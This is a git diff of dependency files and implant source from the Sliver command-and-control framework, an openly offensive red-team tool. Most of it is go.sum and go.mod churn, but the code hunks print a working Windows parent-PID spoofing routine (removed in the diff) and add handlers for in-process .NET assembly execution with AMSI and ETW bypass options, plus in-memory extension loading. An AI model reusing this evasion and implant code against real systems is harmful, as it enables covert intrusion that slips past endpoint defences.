github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667 h1:l2RCK7mjLhjfZRIcCXTVHI34l67IRtKASBjusViLzQ0=
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
@@ -152,6 +154,12 @@ github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XL
github.com/checkpoint-restore/go-criu/v4 v4.1.0/go.mod h1:xUQBLp4RLc5zJtWY++yjOoMoB5lihDt7fai+75m+rGw=
github.com/cheggaaa/pb/v3 v3.0.5 h1:lmZOti7CraK9RSjzExsY53+WWfub9Qv13B5m4ptEoPE=
github.com/cheggaaa/pb/v3 v3.0.5/go.mod h1:X1L61/+36nz9bjIsrDU52qHKOQukUQe2Ge+YvGuquCw=
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf h1:e0oJZmGJidTRZ0FvWXNhdj9OaOMN30Yf+T3K2Tf3L+s=
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf/go.mod h1:5Y4sD/eXpwrChIuxhSr/G20n9CdbCmoerOHnuAf0Zr0=
github.com/chromedp/chromedp v0.8.5 h1:HAVg54yQFcn7sg5reVjXtoI1eQaFxhjAjflHACicUFw=
github.com/chromedp/chromedp v0.8.5/go.mod h1:xal2XY5Di7m/bzlGwtoYpmgIOfDqCakOIVg5OfdkPZ4=
github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic=
github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww=
github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE=
github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=
@@ -322,6 +330,12 @@ github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh
github.com/go-sql-driver/mysql v1.5.0 h1:ozyZYNQW3x3HtqT1jira07DN2PArx2v7/mN66gGcHOs=
github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM=
github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
github.com/gobwas/ws v1.1.0 h1:7RFti/xnNkMJnrK7D1yQ/iCIB5OrrY/54/H930kIbHA=
github.com/gobwas/ws v1.1.0/go.mod h1:nzvNcVha5eUziGrbxFCo6qFIojQHjJV5cLYIbezhfL0=
github.com/godbus/dbus v0.0.0-20151105175453-c7fdd8b5cd55/go.mod h1:/YcGZj5zSblfDWMMoOzV4fas9FZnQYTkDnsGvmh2Grw=
github.com/godbus/dbus v0.0.0-20180201030542-885f9cc04c9c/go.mod h1:/YcGZj5zSblfDWMMoOzV4fas9FZnQYTkDnsGvmh2Grw=
github.com/godbus/dbus v0.0.0-20190422162347-ade71ed3457e/go.mod h1:bBOAhwG1umN6/6ZUMtDFBMQR8jRg9O75tm9K00oMsK4=
@@ -537,6 +551,8 @@ github.com/jinzhu/now v1.1.2/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/
github.com/jmespath/go-jmespath v0.0.0-20160202185014-0b12d6b521d8/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
github.com/jmespath/go-jmespath v0.0.0-20160803190731-bd40a432e4c7/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY=
github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y=
github.com/josharian/native v1.0.0/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w=
github.com/json-iterator/go v0.0.0-20180612202835-f2b4162afba3/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
@@ -569,6 +585,8 @@ github.com/kr/pty v1.1.8 h1:AkaSdXYQOWeaO3neb8EM634ahkXXe3jYbVh/F9lq+GI=
github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw=
github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo=
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs=
github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8IrVmbA=
github.com/lesnuages/go-winio v0.4.19/go.mod h1:rm7jf4kBcldxMeljR7c7XY1qVCBc+8z3PtSgkrT9Clk=
github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193U=
@@ -589,6 +607,8 @@ github.com/mailru/easyjson v0.0.0-20180823135443-60711f1a8329/go.mod h1:C1wdFJiN
github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
github.com/mailru/easyjson v0.7.0/go.mod h1:KAzv3t3aY1NaHWoQz1+4F1ccyAH66Jk7yos7ldAVICs=
github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
github.com/marstr/guid v1.1.0/go.mod h1:74gB1z2wpxxInTG6yaqA7KrtM0NZ+RbrcqDvYHefzho=
github.com/mattbaird/jsonpatch v0.0.0-20171005235357-81af80346b1a/go.mod h1:M1qoD/MqPgTZIk0EWKB38wE28ACRfVcn+cU08jyArI0=
github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
@@ -689,6 +709,8 @@ github.com/opencontainers/runtime-spec v1.0.2/go.mod h1:jwyrGlmzljRJv/Fgzds9SsS/
github.com/opencontainers/runtime-tools v0.0.0-20181011054405-1d69bd0f9c39/go.mod h1:r3f7wjNzSs2extwzU3Y+6pKfobzPh+kKFJ3ofN+3nfs=
github.com/opencontainers/selinux v1.8.0/go.mod h1:RScLhm78qiWa2gbVCcGkC7tCGdgk3ogry1nUQF8Evvo=
github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw=
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde/go.mod h1:nZgzbfBr3hhjoZnS66nKrHmduYNpc34ny7RK4z5/HM0=
github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc=
github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k=
github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
@@ -1068,6 +1090,7 @@ golang.org/x/sys v0.0.0-20201112073958-5cba982894dd/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201126233918-771906719818/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201207223542-d4d67f95c62d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@@ -1092,8 +1115,10 @@ golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1/go.mod h1:oPkhp1MJrh7nUepCBc
golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220207234003-57398862261d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86 h1:A9i04dxx7Cribqbs8jf3FQLogkL/CV2YN7hj9KWJCkc=
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64 h1:UiNENfZ8gDvpiWw7IpOMQ27spWmThO1RwwdQVbJahJM=
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
+3 -1
View File
@@ -4,6 +4,7 @@ go 1.17
require (
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/Ne0nd0g/go-clr v1.0.2
github.com/gofrs/uuid v4.0.0+incompatible
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
@@ -14,7 +15,7 @@ require (
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
google.golang.org/protobuf v1.26.0
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
@@ -33,6 +34,7 @@ require (
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
golang.org/x/mod v0.4.2 // indirect
golang.org/x/text v0.3.7 // indirect
golang.org/x/time v0.0.0-20191024005414-555d28b269f0 // indirect
golang.org/x/tools v0.1.7 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
+6 -2
View File
@@ -71,6 +71,8 @@ github.com/Microsoft/hcsshim v0.8.6/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXn
github.com/Microsoft/hcsshim v0.8.7-0.20190325164909-8abdbb8205e4/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXnJs8iY7rUg=
github.com/Microsoft/hcsshim v0.8.14/go.mod h1:NtVKoYxQuTLx6gEq0L96c9Ju4JbRJ4nY2ow3VK6a9Lg=
github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb06e3pkSAbeQ52E9H9iFoQsEEwGN64994WTCIhntQ=
github.com/Ne0nd0g/go-clr v1.0.2 h1:jVD7iJyXaS3KhPiKetUnUAuLxgDlNSvYmPfMFK8E3VY=
github.com/Ne0nd0g/go-clr v1.0.2/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
github.com/PuerkitoBio/purell v1.0.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
github.com/PuerkitoBio/purell v1.1.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
@@ -779,8 +781,8 @@ golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86 h1:A9i04dxx7Cribqbs8jf3FQLogkL/CV2YN7hj9KWJCkc=
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f h1:rlezHXNlxYWvBCzNses9Dlc7nGFaNMJeqLolcmQSSZY=
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
@@ -793,6 +795,8 @@ golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/time v0.0.0-20180412165947-fbb02b2291d2/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
+4 -4
View File
@@ -7,7 +7,7 @@ cd scripts
# copy Go module related files
pwd="$(pwd)"
tempDir="$(mktemp -d -p $pwd)"
tempDir="$(mktemp -d)"
cp ../go-mod "${tempDir}/go.mod"
cp ../go-sum "${tempDir}/go.sum"
mv ../vendor "${tempDir}/vendor"
@@ -20,8 +20,8 @@ go mod tidy -compat=1.17
go mod vendor
# move updated files back
mv "${tempDir}/vendor" ../../vendor
mv "${tempDir}/go.mod" ../../go-mod
mv "${tempDir}/go.sum" ../../go-sum
mv "${tempDir}/vendor" "${pwd}/../vendor"
mv "${tempDir}/go.mod" "${pwd}/../go-mod"
mv "${tempDir}/go.sum" "${pwd}/../go-sum"
cd ..
rm -rf "$tempDir"
-82
View File
@@ -19,7 +19,6 @@ package evasion
*/
import (
"github.com/bishopfox/sliver/implant/sliver/syscalls"
"golang.org/x/sys/windows"
//{{if .Config.Debug}}
@@ -27,90 +26,9 @@ import (
//{{end}}
"debug/pe"
"io/ioutil"
"os/exec"
"unsafe"
)
func SpoofParent(ppid uint32, prog string, args string) (*windows.ProcessInformation, error) {
parentHandle, err := windows.OpenProcess(windows.PROCESS_CREATE_PROCESS, false, ppid)
if err != nil {
//{{if .Config.Debug}}
log.Printf("OpenProcess failed: %v\n", err)
//{{end}}
return nil, err
}
var procThreadAttributeSize uintptr
if err = syscalls.InitializeProcThreadAttributeList(nil, 1, 0, &procThreadAttributeSize); err != nil && err != windows.E_NOT_SUFFICIENT_BUFFER {
//{{if .Config.Debug}}
log.Printf("InitializeProcThreadAttributeList - first call failed: %v\n", err)
//{{end}}
return nil, err
}
procHeap, err := syscalls.GetProcessHeap()
if err != nil {
//{{if .Config.Debug}}
log.Printf("GetProcessHeap failed: %v\n", err)
//{{end}}
return nil, err
}
attributeList, err := syscalls.HeapAlloc(procHeap, 0, procThreadAttributeSize)
if err != nil {
//{{if .Config.Debug}}
log.Printf("HeapAlloc failed: %v\n", err)
//{{end}}
return nil, err
}
defer syscalls.HeapFree(procHeap, 0, attributeList)
var startupInfo syscalls.StartupInfoEx
startupInfo.AttributeList = (*syscalls.PROC_THREAD_ATTRIBUTE_LIST)(unsafe.Pointer(attributeList))
if err = syscalls.InitializeProcThreadAttributeList(startupInfo.AttributeList, 1, 0, &procThreadAttributeSize); err != nil {
//{{if .Config.Debug}}
log.Printf("InitializeProcThreadAttributeList - second call failed: %v\n", err)
//{{end}}
return nil, err
}
defer syscalls.DeleteProcThreadAttributeList(startupInfo.AttributeList)
uintParentHandle := uintptr(parentHandle)
if err = syscalls.UpdateProcThreadAttribute(startupInfo.AttributeList, 0, syscalls.PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &uintParentHandle, unsafe.Sizeof(parentHandle), 0, nil); err != nil {
//{{if .Config.Debug}}
log.Printf("UpdateProcThreadAttribute failed: %v\n", err)
//{{end}}
return nil, err
}
// get program path as a UTF string
programPath, err := exec.LookPath(prog)
if err != nil {
//{{if .Config.Debug}}
log.Printf("LookPath failed: %v\n", err)
//{{end}}
return nil, err
}
utfProgramPath, err := windows.UTF16PtrFromString(programPath)
if err != nil {
//{{if .Config.Debug}}
log.Printf("UTF16PtrFromString failed: %v\n", err)
//{{end}}
return nil, err
}
// start a process of the specified program name, spoofing the parent
var procInfo windows.ProcessInformation
startupInfo.Cb = uint32(unsafe.Sizeof(startupInfo))
startupInfo.Flags |= windows.STARTF_USESHOWWINDOW
startupInfo.ShowWindow = windows.SW_HIDE
// creationFlags := windows.CREATE_SUSPENDED | windows.CREATE_NO_WINDOW | windows.EXTENDED_STARTUPINFO_PRESENT
creationFlags := windows.CREATE_NO_WINDOW | windows.EXTENDED_STARTUPINFO_PRESENT
if err = syscalls.CreateProcess(utfProgramPath, nil, nil, nil, true, uint32(creationFlags), nil, nil, &startupInfo, &procInfo); err != nil {
//{{if .Config.Debug}}
log.Printf("CreateProcess failed: %v\n", err)
//{{end}}
return nil, err
}
return &procInfo, nil
}
// RefreshPE reloads a DLL from disk into the current process
// in an attempt to erase AV or EDR hooks placed at runtime.
func RefreshPE(name string) error {
@@ -21,6 +21,7 @@ package extension
import (
"bytes"
"runtime"
"sync"
"unsafe"
// {{if .Config.Debug}}
@@ -36,6 +37,7 @@ type DarwinExtension struct {
arch string
serverStore bool
init string
sync.Mutex
}
type extensionArguments struct {
@@ -64,6 +66,8 @@ func (d *DarwinExtension) GetArch() string {
func (d *DarwinExtension) Load() error {
var err error
d.Lock()
defer d.Unlock()
loader, err := universal.NewLoader()
if err != nil {
return err
@@ -98,6 +102,8 @@ func (d *DarwinExtension) Call(export string, arguments []byte, onFinish func([]
// {{if .Config.Debug}}
log.Printf("Calling %s, arg size: %d\n", export, extArgs.inDataSize)
// {{end}}
d.Lock()
defer d.Unlock()
_, err := d.module.Call(export, uintptr(unsafe.Pointer(&extArgs)))
if err != nil {
return err
@@ -21,6 +21,7 @@ package extension
import (
"bytes"
"errors"
"sync"
"syscall"
"unsafe"
@@ -43,6 +44,7 @@ type WindowsExtension struct {
arch string
init string
onFinish func([]byte)
sync.Mutex
}
// NewWindowsExtension - Load a new windows extension
@@ -71,6 +73,8 @@ func (w *WindowsExtension) Load() error {
if len(w.data) == 0 {
return errors.New("{{if .Config.Debug}} extension data is empty {{end}}")
}
w.Lock()
defer w.Unlock()
w.module, err = memmod.LoadLibrary(w.data)
if err != nil {
return err
@@ -114,6 +118,8 @@ func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([
// The extension API must respect the following prototype:
// int Run(buffer char*, bufferSize uint32_t, goCallback callback)
// where goCallback = int(char *, int)
w.Lock()
defer w.Unlock()
_, _, errNo := syscall.Syscall(exportPtr, 3, argumentsPtr, argumentsSize, callback)
if errNo != 0 {
return errors.New(errNo.Error())
+3
View File
@@ -593,6 +593,9 @@ func executeHandler(data []byte, resp RPCResponse) {
Err: fmt.Sprintf("%s", err),
}
}
if cmd.Process != nil {
execResp.Pid = uint32(cmd.Process.Pid)
}
}
data, err = proto.Marshal(execResp)
resp(data, err)
+55 -24
View File
@@ -36,6 +36,7 @@ import (
"github.com/bishopfox/sliver/implant/sliver/priv"
"github.com/bishopfox/sliver/implant/sliver/registry"
"github.com/bishopfox/sliver/implant/sliver/service"
"github.com/bishopfox/sliver/implant/sliver/spoof"
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -48,24 +49,25 @@ var (
windowsHandlers = map[uint32]RPCHandler{
// Windows Only
sliverpb.MsgTaskReq: taskHandler,
sliverpb.MsgProcessDumpReq: dumpHandler,
sliverpb.MsgImpersonateReq: impersonateHandler,
sliverpb.MsgRevToSelfReq: revToSelfHandler,
sliverpb.MsgRunAsReq: runAsHandler,
sliverpb.MsgInvokeGetSystemReq: getsystemHandler,
sliverpb.MsgInvokeExecuteAssemblyReq: executeAssemblyHandler,
sliverpb.MsgInvokeMigrateReq: migrateHandler,
sliverpb.MsgSpawnDllReq: spawnDllHandler,
sliverpb.MsgStartServiceReq: startService,
sliverpb.MsgStopServiceReq: stopService,
sliverpb.MsgRemoveServiceReq: removeService,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgExecuteTokenReq: executeTokenHandler,
sliverpb.MsgGetPrivsReq: getPrivsHandler,
sliverpb.MsgCurrentTokenOwnerReq: currentTokenOwnerHandler,
sliverpb.MsgTaskReq: taskHandler,
sliverpb.MsgProcessDumpReq: dumpHandler,
sliverpb.MsgImpersonateReq: impersonateHandler,
sliverpb.MsgRevToSelfReq: revToSelfHandler,
sliverpb.MsgRunAsReq: runAsHandler,
sliverpb.MsgInvokeGetSystemReq: getsystemHandler,
sliverpb.MsgInvokeExecuteAssemblyReq: executeAssemblyHandler,
sliverpb.MsgInvokeInProcExecuteAssemblyReq: inProcExecuteAssemblyHandler,
sliverpb.MsgInvokeMigrateReq: migrateHandler,
sliverpb.MsgSpawnDllReq: spawnDllHandler,
sliverpb.MsgStartServiceReq: startService,
sliverpb.MsgStopServiceReq: stopService,
sliverpb.MsgRemoveServiceReq: removeService,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgExecuteWindowsReq: executeWindowsHandler,
sliverpb.MsgGetPrivsReq: getPrivsHandler,
sliverpb.MsgCurrentTokenOwnerReq: currentTokenOwnerHandler,
// Platform specific
sliverpb.MsgIfconfigReq: ifconfigHandler,
@@ -225,7 +227,7 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) {
// {{end}}
return
}
output, err := taskrunner.ExecuteAssembly(execReq.Data, execReq.Process)
output, err := taskrunner.ExecuteAssembly(execReq.Data, execReq.Process, execReq.ProcessArgs, execReq.PPid)
execAsm := &sliverpb.ExecuteAssembly{Output: []byte(output)}
if err != nil {
execAsm.Response = &commonpb.Response{
@@ -237,7 +239,27 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) {
}
func executeTokenHandler(data []byte, resp RPCResponse) {
func inProcExecuteAssemblyHandler(data []byte, resp RPCResponse) {
execReq := &sliverpb.InvokeInProcExecuteAssemblyReq{}
err := proto.Unmarshal(data, execReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
output, err := taskrunner.InProcExecuteAssembly(execReq.Data, execReq.Arguments, execReq.Runtime, execReq.AmsiBypass, execReq.EtwBypass)
execAsm := &sliverpb.ExecuteAssembly{Output: []byte(output)}
if err != nil {
execAsm.Response = &commonpb.Response{
Err: err.Error(),
}
}
data, err = proto.Marshal(execAsm)
resp(data, err)
}
func executeWindowsHandler(data []byte, resp RPCResponse) {
var (
err error
stdErr io.Writer
@@ -245,7 +267,7 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
errWriter *bufio.Writer
outWriter *bufio.Writer
)
execReq := &sliverpb.ExecuteReq{}
execReq := &sliverpb.ExecuteWindowsReq{}
err = proto.Unmarshal(data, execReq)
if err != nil {
// {{if .Config.Debug}}
@@ -258,8 +280,17 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
cmd := exec.Command(execReq.Path, execReq.Args...)
// Execute with current token
cmd.SysProcAttr = &windows.SysProcAttr{
Token: syscall.Token(priv.CurrentToken),
cmd.SysProcAttr = &syscall.SysProcAttr{}
if execReq.UseToken {
cmd.SysProcAttr.Token = syscall.Token(priv.CurrentToken)
}
if execReq.PPid != 0 {
err := spoof.SpoofParent(execReq.PPid, cmd)
if err != nil {
// {{if .Config.Debug}}
log.Printf("could not spoof parent PID: %v\n", err)
// {{end}}
}
}
if execReq.Output {
@@ -374,7 +405,7 @@ func spawnDllHandler(data []byte, resp RPCResponse) {
//{{if .Config.Debug}}
log.Printf("ProcName: %s\tOffset:%x\tArgs:%s\n", spawnReq.GetProcessName(), spawnReq.GetOffset(), spawnReq.GetArgs())
//{{end}}
result, err := taskrunner.SpawnDll(spawnReq.GetProcessName(), spawnReq.GetData(), spawnReq.GetOffset(), spawnReq.GetArgs(), spawnReq.Kill)
result, err := taskrunner.SpawnDll(spawnReq.GetProcessName(), spawnReq.GetProcessArgs(), spawnReq.GetPPid(), spawnReq.GetData(), spawnReq.GetOffset(), spawnReq.GetArgs(), spawnReq.Kill)
spawnResp := &sliverpb.SpawnDll{Result: result}
if err != nil {
